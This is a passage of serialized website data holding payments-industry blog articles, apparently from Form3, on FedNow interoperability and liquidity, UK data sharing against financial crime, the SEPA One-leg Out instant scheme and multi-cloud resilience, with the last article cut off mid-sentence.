launch of FedNow in 2023 there still remain a number of areas where questions remain. Recently we sat down with Miriam Sheril who joined Form3 from her previous role as core product lead for FedNow at The Fed to hear from her on some of these key areas such as interoperability, liquidity management, and fraud. Below is an excerpt from this recent interview where we touch on two of the most talked about aspects 'interoperability' and 'liquidity management'.",{},[],[],{},[],{"link_type":434},[13516,13534,13580],{"variation":437,"version":527,"items":13517,"primary":13518,"id":13533,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":13519,"body":13522,"cta_label":10704,"cta_link":13525,"aside_type":5,"aside_image":13527,"aside_video":13528,"aside_video_poster":13529,"aside_video_reduced_motion":13530,"aside_video_url":5,"aside_embed":13531,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":13532,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[13520],{"type":746,"text":10698,"spans":13521},[],[13523],{"type":25,"text":10702,"spans":13524},[],{"link_type":491,"key":13526,"url":10707},"e11cd760-b458-40e5-b4b7-a46bb731f024",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$0d0e5e5e-be13-44ac-ba55-e98e928f4736",{"variation":437,"version":438,"items":13535,"primary":13536,"id":13579,"slice_type":468,"slice_label":5},[],{"body":13537},[13538,13541,13544,13548,13554,13559,13564,13569,13574],{"type":988,"text":13539,"spans":13540,"direction":445},"One of the things we hear coming up more and more is the question of interoperability. How do you see these two schemes working together? What will drive the usage of one versus the other?",[],{"type":25,"text":11772,"spans":13542,"direction":445},[13543],{"start":398,"end":1951,"type":593},{"type":25,"text":13545,"spans":13546,"direction":445},"\"Maybe I'll spend a couple of minutes just giving a quick overview of interoperability, so I can then properly answer the question. In the US, we have 2 types of interoperability. ",[13547],{"start":398,"end":3774,"type":765},{"type":25,"text":13549,"spans":13550,"direction":445},"The first is how FedACH and EPN at The Clearing House work. With this you can initiate a payment service, and the receiving financial institution doesn't need to be on the same service. We call this 'message exchange interoperability', which means you don't have to be on both networks, although you'll see that many banks are from a resiliency perspective. ",[13551,13553],{"start":398,"end":13552,"type":765},358,{"start":2056,"end":3188,"type":593},{"type":25,"text":13555,"spans":13556,"direction":445},"You then have Fedwire and TCH’s CHIPS system, and that's an example of 'message routing interoperability', which means participants do have to be on the same scheme. But the two schemes themselves will be very aligned with message specs and rules. So banks can make the best choice of how they want their payment to go through, should it go via the TCH network, because the receiver is there, and there's other benefits such as netting, or should they send it over Fedwire. ",[13557,13558],{"start":398,"end":5081,"type":765},{"start":1797,"end":3092,"type":593},{"type":25,"text":13560,"spans":13561,"direction":445},"When FedNow began and engaged in conversations with TCH, they ended up with the second option of a message routing, alignment interoperability. So if you initiate a payment on FedNow, the receiving customer must be on FedNow, this is the same for RTP with The Clearing House, if you initiate it there, the receiver has to be there. ",[13562],{"start":398,"end":13563,"type":765},332,{"type":25,"text":13565,"spans":13566,"direction":445},"Primarily, I think the reason was due to the nature of the scheme.  It's very hard in a real time gross settlement service to successfully implement the other approach. With ACH it's a little different, with payments clearing in real time, but settlements happening a few times a day or overnight. However with Wire and then FedNow and RTP, these are real time payments that settle instantly and so that gets really complicated. ",[13567],{"start":398,"end":13568,"type":765},429,{"type":25,"text":13570,"spans":13571,"direction":445},"The flip side of all of this is that the message specs will look to align where possible. They both will use ISO20022 and there's a lot of collaboration going on there. ",[13572],{"start":398,"end":13573,"type":765},169,{"type":25,"text":13575,"spans":13576,"direction":445}," However there are differences there that are going to make it potentially hard for a bank to really be able to support both services. Both teams have always said that they will continue to evaluate their schemes approach for interoperability.\"",[13577],{"start":398,"end":13578,"type":765},244,"rich_text$ddd81ec2-4145-473c-9f04-327b958cbe57",{"variation":437,"version":438,"items":13581,"primary":13582,"id":13610,"slice_type":468,"slice_label":5},[],{"body":13583},[13584,13587,13590,13595,13600,13605],{"type":988,"text":13585,"spans":13586,"direction":445},"How do you see banks dealing with the liquidity management problem in a real time payment environment?",[],{"type":25,"text":11772,"spans":13588,"direction":445},[13589],{"start":398,"end":1951,"type":593},{"type":25,"text":13591,"spans":13592,"direction":445},"\"Liquidity management is a really interesting topic, and where it started and where it is, right now is a little bit different. When The Clearing House started RTP, their model is a funding defunding model. So the funds are all held in a joint account very similar to their CHIPS model. And then they've got kind of the books within RTP, it's still real time, it's still settled in real time. But those institutions need to manage their funding And so to do that, they can wire in and out of the joint account. However, wire is closed on the weekends and for a period at night. Which raises a complication that if a financial institution needs more funds during those times they have no way of getting that liquidity into the RTP system.",[13593],{"start":398,"end":13594,"type":765},737,{"type":25,"text":13596,"spans":13597,"direction":445},"RTP service solved this in a really interesting way, where they provided the ability for those financial institutions to move money within the RTP books during that weekend time period. ",[13598],{"start":398,"end":13599,"type":765},186,{"type":25,"text":13601,"spans":13602,"direction":445},"FedNow solves this differently where they are providing a liquidity management transfer option. it allows payments to be sent between the financial institution's master accounts, so financial institutions, can use a correspondent bank or an agreement that they have, and so be able to receive liquidity that way when Fedwire is not available. ",[13603],{"start":398,"end":13604,"type":765},343,{"type":25,"text":13606,"spans":13607,"direction":445},"It will also support the movement into and out of the Joint account, support RTP needs as well. One of the interesting things there is the availability of that transfer. And if it's going to be only available when Fedwire is not available which adds complexities for FI’s having to manage between two services or is it going to be available all the time.\"",[13608],{"start":398,"end":13609,"type":765},355,"rich_text$eeb04c0c-4f00-4e03-b21d-79f19cd191c4","Understanding liquidity management and interoperability for FedNow","Understand how the key issues of interoperability and liquidity management will work with the launch of FedNow in our latest podcast.",{"id":13614,"uid":13615,"type":3743,"data":13616},"alzzTBEAACsAUWMY","data-sharing-combat-financial-crime",{"title":13617,"excerpt":13618,"card_image":13619,"published_date":13624,"reading_time":4603,"tag":3751,"dek":13618,"featured_image":13625,"about_form3":13630,"client_about_heading":5,"client_about_body":13631,"author_name":5,"author_title":5,"author_photo":13632,"author_bio":13633,"author_linkedin":13634,"slices":13635,"meta_title":13617,"meta_description":13749},"Unleashing the Power of Data Sharing to Combat Financial Crime in the UK","The banking sector is under siege. Financial criminals are more sophisticated than ever, and their relentless pursuit of ill-gotten gains poses a significant challenge to the UK's economic growth and reputation as a secure place to do business. Data sharing has emerged as a vital tool in the battle against financial crime, with the potential to revolutionise how banks identify and thwart criminal activities. However, achieving this vision requires a deep commitment to collaboration, both within the private sector and between public and private entities.",{"dimensions":13620,"alt":13617,"copyright":5,"url":13621,"id":13622,"edit":13623},{"width":412,"height":412},"\u002F_prismic-media\u002F4f74c11ad7ad3654-Bp5LFqm5cU2F9MGz_data-sharing-combat-financial-c.png","Bp5LFqm5cU2F9MGz",{"x":398,"y":398,"zoom":399,"background":400},"2023-05-22",{"dimensions":13626,"alt":5,"copyright":5,"url":13627,"id":13628,"edit":13629},{"width":2801,"height":2802},"\u002F_prismic-media\u002F64356fb3278af7f2-loOH_wdEnV4Uc1kl_ce290a3f-6698-4360-8037-16edd92.png","loOH_wdEnV4Uc1kl",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[13636,13653,13670,13684,13701,13718,13732],{"variation":437,"version":438,"items":13637,"primary":13638,"id":13652,"slice_type":468,"slice_label":5},[],{"body":13639},[13640,13643,13646,13649],{"type":988,"text":13641,"spans":13642,"direction":445},"The Current State of Data Sharing in the UK Banking Sector",[],{"type":25,"text":13644,"spans":13645,"direction":445},"Imagine a scenario in which a money launderer exploits a bank's limited visibility into their activities by opening accounts with multiple financial institutions (FIs) and systematically transferring funds between them. This fragmented view of their criminal enterprise allows them to evade detection, undermining the FIs' anti-money laundering (AML) and counter-financing of terrorism (CFT) controls.",[],{"type":25,"text":13647,"spans":13648,"direction":445},"Now, picture a world where these FIs share data, providing each other with a comprehensive understanding of their customers' activities. This unified approach to tackling economic crime would significantly improve the banks' ability to protect themselves and their customers from fraud and other financial crimes.",[],{"type":25,"text":13650,"spans":13651,"direction":445},"Unfortunately, that world remains elusive, and the barriers to effective data sharing continue to stymie progress.",[],"rich_text$86960ca4-0e24-41eb-b094-a0655de29ac2",{"variation":437,"version":438,"items":13654,"primary":13655,"id":13669,"slice_type":468,"slice_label":5},[],{"body":13656},[13657,13660,13663,13666],{"type":988,"text":13658,"spans":13659,"direction":445},"Barriers to Effective Data Sharing in the Payments Industry",[],{"type":25,"text":13661,"spans":13662,"direction":445},"For FIs to share data effectively, they must overcome several challenges. For starters, there's a delicate balance to strike between protecting customer privacy and sharing data to combat financial crime. FIs are understandably concerned about potential prosecution by regulatory bodies like the Information Commissioner's Office (ICO) if they don't handle data privacy appropriately.",[],{"type":25,"text":13664,"spans":13665,"direction":445},"Moreover, data silos within firms, often driven by technical, legislative, and regulatory factors, hinder information sharing. Inconsistent data formats, inaccurate data, and a lack of alignment and incentives within organisations further compound the problem.",[],{"type":25,"text":13667,"spans":13668,"direction":445},"Cross-border data handling also presents a significant challenge, with multiple data handling laws across borders creating a complex web of rules that FIs must navigate. All of these barriers contribute to an environment in which data sharing remains a lofty, yet largely unrealised, ambition.",[],"rich_text$ba852800-9aec-43a3-b1eb-01afd8236e9b",{"variation":437,"version":438,"items":13671,"primary":13672,"id":13683,"slice_type":468,"slice_label":5},[],{"body":13673},[13674,13677,13680],{"type":988,"text":13675,"spans":13676,"direction":445},"Addressing the Challenges of Data Sharing",[],{"type":25,"text":13678,"spans":13679,"direction":445},"In response to these challenges, The Payments Association conducted a survey and expert interviews earlier this year, examining the obstacles faced by FIs when it comes to data sharing. The findings suggest that building the necessary infrastructure and ensuring interoperability between systems are crucial steps toward enabling effective data sharing.",[],{"type":25,"text":13681,"spans":13682,"direction":445},"Meanwhile, respondents emphasised the importance of balancing data privacy concerns with the need to share data for legitimate purposes. Fear of litigation from consumers, who are increasingly aware of their privacy rights, as well as the threat of sanctions from regulators, creates a challenging landscape for FIs looking to embrace data sharing as a means of fighting financial crime.",[],"rich_text$e0447d2a-e9f6-460c-ba17-790414bd93a7",{"variation":437,"version":438,"items":13685,"primary":13686,"id":13700,"slice_type":468,"slice_label":5},[],{"body":13687},[13688,13691,13694,13697],{"type":988,"text":13689,"spans":13690,"direction":445},"Legislative Developments and their Impact on Data Sharing",[],{"type":25,"text":13692,"spans":13693,"direction":445},"The forthcoming 'Data Protection and Digital Information Bill' has the potential to significantly reshape the data sharing landscape. The bill introduces new types of 'Recognised Legitimate Interests', which remove the need for FIs to conduct a 'legitimate interests' assessment when processing data for specific purposes, such as detecting, investigating, or preventing crime.",[],{"type":25,"text":13695,"spans":13696,"direction":445},"This legislative shift could alleviate some data privacy concerns and allow the industry to focus on the practical aspects of data sharing, such as interoperability, standards, and the technical analysis and privacy preservation of the underlying data.",[],{"type":25,"text":13698,"spans":13699,"direction":445},"Moreover, the UK is well-positioned to lead the way in setting global data sharing standards, thanks in part to its track record in establishing security standards like the ISO 27000 family.",[],"rich_text$06fcc9bb-5bf5-4f70-8c6d-a0ed3607bc83",{"variation":437,"version":438,"items":13702,"primary":13703,"id":13717,"slice_type":468,"slice_label":5},[],{"body":13704},[13705,13708,13711,13714],{"type":988,"text":13706,"spans":13707,"direction":445},"Exploring Technical Solutions for Enhanced Data Sharing",[],{"type":25,"text":13709,"spans":13710,"direction":445},"To realise the full potential of data sharing in the fight against financial crime, FIs must",[],{"type":25,"text":13712,"spans":13713,"direction":445},"also consider embracing innovative technical solutions. One promising approach is the use of Privacy Enhancing Technologies (PETs), which enable secure data sharing while preserving privacy. By implementing PETs, FIs can strike the right balance between sharing crucial information to combat financial crime and protecting their customers' sensitive data.",[],{"type":25,"text":13715,"spans":13716,"direction":445},"Artificial Intelligence (AI) is another powerful tool that can enhance the effectiveness of data sharing. By leveraging AI algorithms, FIs can analyse vast amounts of shared data more efficiently, identifying patterns and anomalies that may indicate criminal activities. This advanced data analysis can significantly improve the detection and prevention of financial crime, making the banking sector more resilient against such threats.",[],"rich_text$67deba45-7bde-4640-b717-6d7bfbab6baa",{"variation":437,"version":438,"items":13719,"primary":13720,"id":13731,"slice_type":468,"slice_label":5},[],{"body":13721},[13722,13725,13728],{"type":988,"text":13723,"spans":13724,"direction":445},"The Importance of Collaboration between Public and Private Sectors",[],{"type":25,"text":13726,"spans":13727,"direction":445},"To create an environment conducive to data sharing, collaboration between public and private sectors is essential. Governments, regulators, and FIs must work together to develop a clear framework for data sharing that balances the need for information sharing with privacy concerns and safeguards against potential abuses of shared data.",[],{"type":25,"text":13729,"spans":13730,"direction":445},"This collaborative approach can lead to the development of best practices and standards that enable FIs to share data more effectively and securely, thus strengthening the entire financial ecosystem's ability to combat economic crime.",[],"rich_text$bc6dea60-4384-40ef-a30f-76aa8f0363e1",{"variation":437,"version":438,"items":13733,"primary":13734,"id":13748,"slice_type":468,"slice_label":5},[],{"body":13735},[13736,13739,13742,13745],{"type":988,"text":13737,"spans":13738,"direction":445},"The Path Forward: Building a Safer, More Secure Financial Sector",[],{"type":25,"text":13740,"spans":13741,"direction":445},"The fight against financial crime in the UK banking sector is an ongoing battle, and data sharing holds the key to unlocking a more effective and proactive approach to combating these threats. By addressing the challenges surrounding data sharing and fostering collaboration between public and private sectors, FIs can create a more robust, secure financial landscape that is less vulnerable to criminal exploitation.",[],{"type":25,"text":13743,"spans":13744,"direction":445},"While the journey to effective data sharing may be fraught with challenges, the potential benefits are significant. By harnessing the power of shared data, FIs can not only protect themselves and their customers but also contribute to the UK's reputation as a safe and secure place to invest and grow a business.",[],{"type":25,"text":13746,"spans":13747,"direction":445},"In conclusion, it's time for the UK banking sector to embrace the power of data sharing and work collectively to overcome the challenges that have hindered its progress. By doing so, FIs can create a safer, more secure financial ecosystem, better equipped to detect, prevent, and combat financial crime. The path forward may not be easy, but the rewards are well worth the effort.",[],"rich_text$d6dd30b1-932c-4065-9fd3-12e87ee67c57","Data sharing has emerged as a vital tool in the battle against financial crime. Discover more in our latest report.",{"id":13751,"uid":13752,"type":3743,"data":13753},"alzzSBEAACwAUWMR","sepa-instant-international-payments",{"title":13754,"excerpt":13755,"card_image":13756,"published_date":13761,"reading_time":643,"tag":3751,"dek":5,"featured_image":13762,"about_form3":13768,"client_about_heading":5,"client_about_body":13769,"author_name":5,"author_title":5,"author_photo":13770,"author_bio":13771,"author_linkedin":13772,"slices":13773,"meta_title":13754,"meta_description":13901},"Next Step on SEPA Instant Payments: International Instant Euro Scheme","The European Payments Council (EPC) recently introduced the One-leg Out Instant Credit Transfer scheme, set to go live on 28th November 2023. This scheme establishes a framework of rules, practices, and standards for any SEPA Payment Service Provider (PSP) conducting Euro-denominated instant credit transfers between SEPA (Euro Leg) and non-SEPA countries or SEPA countries with non-euro currencies (non-Euro Leg). This initiative is a crucial advancement in achieving the objectives of the 2020 EU Retail Payments Strategy. It marks the beginning of a harmonised real-time cross-border retail payment infrastructure, enabling instant payments across different geographies and jurisdictions.",{"dimensions":13757,"alt":13754,"copyright":5,"url":13758,"id":13759,"edit":13760},{"width":412,"height":412},"\u002F_prismic-media\u002Fe71b56c747e897e0-sNz18Zb9Pgaj2EYh_sepa-instant-international-paym.png","sNz18Zb9Pgaj2EYh",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-01",{"dimensions":13763,"alt":13764,"copyright":5,"url":13765,"id":13766,"edit":13767},{"width":2801,"height":2802},"Globe illustration with arrows showing payments moving","\u002F_prismic-media\u002Fd19fe6f2dc3025b4-0OtbsXLsoNvjozxz_11937421-2fac-4fb4-86c3-d96ca0b.png","0OtbsXLsoNvjozxz",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[13774,13791,13805,13819,13830,13847,13864,13881],{"variation":437,"version":438,"items":13775,"primary":13776,"id":13790,"slice_type":468,"slice_label":5},[],{"body":13777},[13778,13781,13784,13787],{"type":988,"text":13779,"spans":13780,"direction":445},"Shaping the Future of Cross-border Instant Payments",[],{"type":25,"text":13782,"spans":13783,"direction":445},"The European Payments Council (EPC) recently introduced the One-leg Out Instant Credit Transfer scheme, set to go live on 28th November 2023. This scheme establishes a framework of rules, practices, and standards for any SEPA Payment Service Provider (PSP) conducting Euro-denominated instant credit transfers between SEPA (Euro Leg) and non-SEPA countries or SEPA countries with non-euro currencies (non-Euro Leg). ",[],{"type":25,"text":13785,"spans":13786,"direction":445},"This initiative is a crucial advancement in achieving the objectives of the 2020 EU Retail Payments Strategy. It marks the beginning of a harmonised real-time cross-border retail payment infrastructure, enabling instant payments across different geographies and jurisdictions. ",[],{"type":25,"text":13788,"spans":13789,"direction":445},"The One-leg Out Instant Credit Transfer scheme aligns with the G20 Cross-Border Payments Roadmap, endorsed by G20 finance ministers and central bank governors in October 2020. This roadmap aims to improve cross-border payment systems by making them faster, more accessible, transparent, and cost-effective. The new scheme directly contributes to these goals by facilitating more efficient Euro-denominated instant credit transfers between SEPA and non-SEPA countries. ",[],"rich_text$6d112bf8-ae35-438f-8c37-c9912f1c2ab3",{"variation":437,"version":438,"items":13792,"primary":13793,"id":13804,"slice_type":468,"slice_label":5},[],{"body":13794},[13795,13798,13801],{"type":988,"text":13796,"spans":13797,"direction":445},"Adoption of ISO 20022 Standard",[],{"type":25,"text":13799,"spans":13800,"direction":445},"The ongoing global adoption of the ISO 20022 standard for payment and settlement systems enhances the efficiency and reliability of interlinking instant payment infrastructures. The European Union (EU), an early adopter of the ISO 20022 standard, has implemented it across all SEPA schemes and TARGET (RTGS) services since March 2023. The United Kingdom (UK) and the United States (US) have plans to adopt the standard between June 2023 and March 2025, respectively. ",[],{"type":25,"text":13802,"spans":13803,"direction":445},"Correspondent banking, a key component in facilitating cross-border payments, will also experience significant benefits from the adoption of the Cross-Border Payments and Reporting Plus (CBPR+) initiative launched in March 2023. CBPR+ is a global market practice that defines and establishes guidelines for implementing the ISO 20022 messaging standard specifically for cross-border payment transactions and their associated reporting requirements. ",[],"rich_text$ea5b8490-1f6b-4ac6-bf7e-b38000d59495",{"variation":437,"version":438,"items":13806,"primary":13807,"id":13818,"slice_type":468,"slice_label":5},[],{"body":13808},[13809,13812,13815],{"type":988,"text":13810,"spans":13811,"direction":445},"The Growing Importance of Cross-Border Payments",[],{"type":25,"text":13813,"spans":13814,"direction":445},"Cross-border payments are integral to international trade and economic activity. With the rise of e-commerce and technological advancements, the volume and value of cross-border payments have been growing globally. Account-to-account payments are becoming increasingly popular alternatives to cash and card payments. ",[],{"type":25,"text":13816,"spans":13817,"direction":445},"Given the political will, regulatory initiatives, and increasing demand for instant cross-border payments, it's now time for Payment Service Providers to act.",[],"rich_text$ec69e9a8-7cc1-4e74-9d66-ec99bc3b078d",{"variation":437,"version":438,"items":13820,"primary":13821,"id":13829,"slice_type":468,"slice_label":5},[],{"body":13822},[13823,13826],{"type":988,"text":13824,"spans":13825,"direction":445},"Challenges and Opportunities in Cross-Border Payments",[],{"type":25,"text":13827,"spans":13828,"direction":445},"A SEPA scope arrangement (Euro Leg) alone is insufficient for effective cross-border payments and similar initiatives are needed from other geographies. Consequently, the landscape remains open for private initiatives to lead the integration with different market infrastructures. The full reach of an international instant payments solution depends on the willingness, readiness, and joint efforts of financial and credit institutions to provide instant cross-border retail payment services.",[],"rich_text$c6f56a39-0456-45f9-b28a-fd996dba05bd",{"variation":437,"version":438,"items":13831,"primary":13832,"id":13846,"slice_type":468,"slice_label":5},[],{"body":13833},[13834,13837,13840,13843],{"type":988,"text":13835,"spans":13836,"direction":445},"Impact on Competition: Traditional Banks vs. FinTech Companies",[],{"type":25,"text":13838,"spans":13839,"direction":445},"The One-leg Out Instant Credit Transfer scheme has the potential to significantly impact the competitive landscape in the payments industry, particularly between traditional banks and fintech companies. By facilitating faster and more efficient cross-border transactions, this new scheme may lead to a shift in the balance of power among payment service providers. ",[],{"type":25,"text":13841,"spans":13842,"direction":445},"Traditional banks face both opportunities and challenges with the implementation of the One-leg Out Instant Credit Transfer scheme. Banks can leverage their existing infrastructure, customer base, and compliance expertise to adopt this new payment system, providing clients with faster, more reliable cross-border transactions. This could help them retain and attract customers, particularly those involved in international trade and commerce. However, traditional banks also face significant challenges in adapting to this new environment, as legacy systems and processes may not be well-suited to handle corresponding banking for the purpose of instant credit transfers ",[],{"type":25,"text":13844,"spans":13845,"direction":445},"FinTech companies, on the other hand, are well-positioned to capitalise on the opportunities presented by the One-leg Out Instant Credit Transfer scheme. Agile and technologically advanced, these companies can quickly adapt to new payment systems and offer innovative solutions to their customers. This is likely to enable them to capture a larger share of the cross-border payments market, which has traditionally been dominated by banks. ",[],"rich_text$727e5e69-f2c9-4309-9387-cdc485db37ed",{"variation":437,"version":438,"items":13848,"primary":13849,"id":13863,"slice_type":468,"slice_label":5},[],{"body":13850},[13851,13854,13857,13860],{"type":988,"text":13852,"spans":13853,"direction":445},"Strengthening Fraud Detection and Prevention in Cross-Border Instant Payments",[],{"type":25,"text":13855,"spans":13856,"direction":445},"The integration of robust fraud detection solutions is critical in maintaining trust and reliability in the rapidly evolving landscape of instant cross-border payments. Credit and financial institutions must collaborate to develop and implement comprehensive strategies to tackle this challenge. ",[],{"type":25,"text":13858,"spans":13859,"direction":445},"A crucial aspect of effective fraud prevention is the sharing of fraud data and pattern analysis between different parties involved in the payment ecosystem. This data exchange enables organisations to identify suspicious activities and emerging fraud trends more accurately and rapidly, resulting in quicker response times and reduced financial losses. ",[],{"type":25,"text":13861,"spans":13862,"direction":445},"The adoption of a standardised taxonomy for fraud prevention can significantly enhance the accuracy of fraud trend intelligence and data analysis. By utilizing a common language and framework, all payment service providers can better understand and interpret the data shared, leading to improved detection and prevention of fraudulent activities. ",[],"rich_text$3d8c73ed-8945-4a11-aec0-6b9ddcd113fc",{"variation":437,"version":438,"items":13865,"primary":13866,"id":13880,"slice_type":468,"slice_label":5},[],{"body":13867},[13868,13871,13874,13877],{"type":988,"text":13869,"spans":13870,"direction":445},"Achieving Global Reach and Legal Certainty in Cross-Border Payments",[],{"type":25,"text":13872,"spans":13873,"direction":445},"The successful implementation of instant cross-border payments relies heavily on the establishment of harmonised API protocols for data exchange and the adoption of ISO 20022 standards. These elements are essential in ensuring seamless and efficient communication between different payment service providers and financial institutions to achieve global reach to accounts. ",[],{"type":25,"text":13875,"spans":13876,"direction":445},"Harmonised API protocols enable streamlined data exchange between different systems and platforms, allowing for more efficient and accurate processing of payment transactions. The adoption of ISO 20022 as a global standard for payment messaging ensures consistent communication and facilitates interoperability between various payment schemes. ",[],{"type":25,"text":13878,"spans":13879,"direction":445},"Addressing legal challenges is also of paramount importance in the realm of cross-border payments. One of the primary goals is to achieve the same degree of legal certainty for cross-border transactions as for domestic ones, particularly in cases involving a party's default. To accomplish this, it is essential to establish a integrated legal framework that outlines the rights and obligations of all parties involved in instant cross-border payment transactions. ",[],"rich_text$463aa198-9477-439a-84ed-4bb64c625bb6",{"variation":437,"version":438,"items":13882,"primary":13883,"id":13900,"slice_type":468,"slice_label":5},[],{"body":13884},[13885,13888,13891,13894,13897],{"type":988,"text":13886,"spans":13887,"direction":445},"Key Considerations",[],{"type":25,"text":13889,"spans":13890,"direction":445},"With the adoption of the ISO 20022 standard across major economies, it is critical for financial and credit institutions to choose the right partners for digital transformation, integration between market infrastructures, and cross-currency services. Minimising the number of integration points should be considered, as this is the current hurdle with traditional cross-border payment services. ",[],{"type":25,"text":13892,"spans":13893,"direction":445},"Higher security and lower overall costs of payments to merchants are key drivers in accelerating the adoption of an instant cross-border payment solution. KYC, AML\u002FCFT, and fraud detection solutions are vital in making instant cross-border payments reliable for end-users. FinTech players can play an essential role in this, especially in helping smaller PSPs become more competitive. ",[],{"type":25,"text":13895,"spans":13896,"direction":445},"Form3 currently provides Faster Payments and SEPA Instant Payments processing services and is now working on the launch of the US real-time payments service with RTP and FedNow. ",[],{"type":25,"text":13898,"spans":13899,"direction":445},"Whether global or local, you can benefit the most from a cloud agnostic solution that eases your integration with major market infrastructures and provides fraud prevention and other value-added services. ",[],"rich_text$3eb9f2b3-3e07-4d5a-83a8-b98a86084996","Discover how the One-leg Out Instant Credit Transfer scheme puts the wheels in motion for real time international payments.",{"id":13903,"uid":13904,"type":3743,"data":13905},"alzzWREAACcAUWM3","multi-cloud-operational-resilience",{"title":13906,"excerpt":13907,"card_image":13908,"published_date":13913,"reading_time":2375,"tag":3751,"dek":5,"featured_image":13914,"about_form3":13919,"client_about_heading":5,"client_about_body":13920,"author_name":5,"author_title":5,"author_photo":13921,"author_bio":13922,"author_linkedin":13923,"slices":13924,"meta_title":13906,"meta_description":13907},"Why a Multi-Cloud Approach is the Answer to Operational Resiliency","As the launch of real-time payments service FedNow approaches, banks must prioritize operational resiliency. A multi-cloud approach can ensure 24\u002F7 availability and meet FedNow requirements while minimizing risks and potential disruptions.",{"dimensions":13909,"alt":13906,"copyright":5,"url":13910,"id":13911,"edit":13912},{"width":412,"height":412},"\u002F_prismic-media\u002F40fead34ee04dc57-677ouDPxJ1_CqQir_multi-cloud-operational-resilie.png","677ouDPxJ1_CqQir",{"x":398,"y":398,"zoom":399,"background":400},"2023-05-03",{"dimensions":13915,"alt":5,"copyright":5,"url":13916,"id":13917,"edit":13918},{"width":423,"height":424},"\u002F_prismic-media\u002F202e41e012f51d09-KEskDGq98QAU1UkT_65093c75-110e-4f7b-abdd-f0fdfe2.png","KEskDGq98QAU1UkT",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[13925,13949,13981,13998,14021],{"variation":437,"version":438,"items":13926,"primary":13927,"id":13948,"slice_type":468,"slice_label":5},[],{"body":13928},[13929,13936,13939,13942],{"type":25,"text":13930,"spans":13931},"Talk to anyone outside the banking and payments industry about operational resiliency and you’ll probably notice their eyes glaze over quite quickly, but for those of us in the industry it’s a hot topic right now. And rightly so, with the forthcoming launch of the highly-anticipated real-time payments service FedNow scheduled for July, ensuring operational resiliency and availability should be at the top of a bank’s list of priorities. ",[13932],{"start":9162,"end":13933,"type":489,"data":13934},336,{"link_type":491,"url":13935,"target":493},"https:\u002F\u002Fwww.federalreserve.gov\u002Fnewsevents\u002Fpressreleases\u002Fother20230315a.htm",{"type":25,"text":13937,"spans":13938},"If you need a snappy definition of what operational resiliency means, from a bank’s perspective it’s about ensuring that you can offer your service to customers on a 24\u002F7 basis. ",[],{"type":25,"text":13940,"spans":13941},"But it isn’t just about customer relations, it’s also a requirement for involvement with FedNow. ",[],{"type":25,"text":13943,"spans":13944},"The Fed's rules around FedNow participation are clear that high availability and resiliency are mandatory, with the threat of expulsion from the scheme for consistent offenders. ",[13945],{"start":4603,"end":5136,"type":489,"data":13946},{"link_type":491,"url":13947,"target":493},"https:\u002F\u002Fwww.frbservices.org\u002Fbinaries\u002Fcontent\u002Fassets\u002Fcrsocms\u002Fresources\u002Frules-regulations\u002Foperating-circular-8.pdf","rich_text$5e29b739-0d0a-402d-8d7e-683768079a95",{"variation":437,"version":438,"items":13950,"primary":13951,"id":13980,"slice_type":468,"slice_label":5},[],{"body":13952},[13953,13956,13959,13962,13970,13973],{"type":988,"text":13954,"spans":13955,"direction":445},"Resiliency is vital for FedNow participants",[],{"type":25,"text":13957,"spans":13958,"direction":445},"The Fed makes it quite clear that it's on participants to \"develop, implement and maintain their own contingency and recovery plans to ensure their ability to continue their FedNow Service operations in the event of equipment failure or other operational interruption\". ",[],{"type":25,"text":13960,"spans":13961,"direction":445},"Unless the issues have arisen from \"acts of war, riots, civil unrest, strikes, labor disputes, acts of terrorism, acts of God, or acts of nature,\" you'll be at risk of being kicked out, which means all your hard work to implement FedNow will have been wasted, and you'll likely have some unhappy customers to boot.",[],{"type":25,"text":13963,"spans":13964,"direction":445},"Given the demands of a real-time payment network, it’s no great surprise that the Fed’s requirements are so tough. Existing members of TCH's RTP network will know that they have to ensure, \"the adequacy of participants’ operational capacities to meet obligations arising from participation,” which means banks must prove to TCH that their technology is capable of supporting continuous operations. Failure to comply could lead to suspension or termination – a hefty price to pay for technical issues that you have no control over. ",[13965],{"start":13966,"end":13967,"type":489,"data":13968},398,455,{"link_type":491,"url":13969,"target":493},"https:\u002F\u002Fmc-e3a82812-8e7a-44d9-956f-8910-cdn-endpoint.azureedge.net\u002F-\u002Fmedia\u002FNew\u002FTCH\u002FDocuments\u002FPayment-Systems\u002FOCC_Payment_System_Member_Rule_RTP_05-13-2021.pdf?rev=6730693706ae4302b3bed78f2b06fc30&hash=9DEEA941D9FC390A09063D810DF97FD0",{"type":25,"text":13971,"spans":13972,"direction":445},"Fortunately, by taking the right approach to resiliency and availability, banks can avoid falling out with the Fed – and their customers. One of the major approaches to handling this is the effective use of cloud infrastructure. And if you look 10 years in the future, we need to consider not just a single cloud, but multiple clouds. ",[],{"type":25,"text":13974,"spans":13975,"direction":445},"Sign up for our webinar – Navigating the Integration and Resilience of New Payment Schemes: Strategies for Success in the Era of APIs and Cloud Technology at 1:00PM eastern on May 10 where we’ll discuss some of the key issues surrounding resiliency and availability, and why multi-cloud solutions are best placed to ensure you can provide your customers with a 24\u002F7, real-time payments service. ",[13976,13977],{"start":398,"end":4023,"type":593},{"start":5574,"end":4522,"type":489,"data":13978},{"link_type":491,"url":13979,"target":493},"https:\u002F\u002Fwww.connectglobalgroup.com\u002Fwebinar\u002Fnavigating-the-integration-and-resilience-of-new-payment-schemes%3A-strategies-for-success-in-the-era-of-apis-and-cloud-technology","rich_text$06ecaac1-be52-44be-b028-106ca4cc8afe",{"variation":437,"version":438,"items":13982,"primary":13983,"id":13997,"slice_type":468,"slice_label":5},[],{"body":13984},[13985,13988,13991,13994],{"type":988,"text":13986,"spans":13987,"direction":445},"Clouding Over",[],{"type":25,"text":13989,"spans":13990,"direction":445},"Many banks and financial institutions have moved at least some of their operations to the cloud in recent years. Rather than relying on physical, owned infrastructure that comes with all sorts of maintenance and operational challenges, it makes sense that they would look to flexible, scalable cloud solutions for key services such as payments – especially as we move towards a real-time payment future. ",[],{"type":25,"text":13992,"spans":13993,"direction":445},"The problem with using the cloud, though, is that you put your trust in a third-party 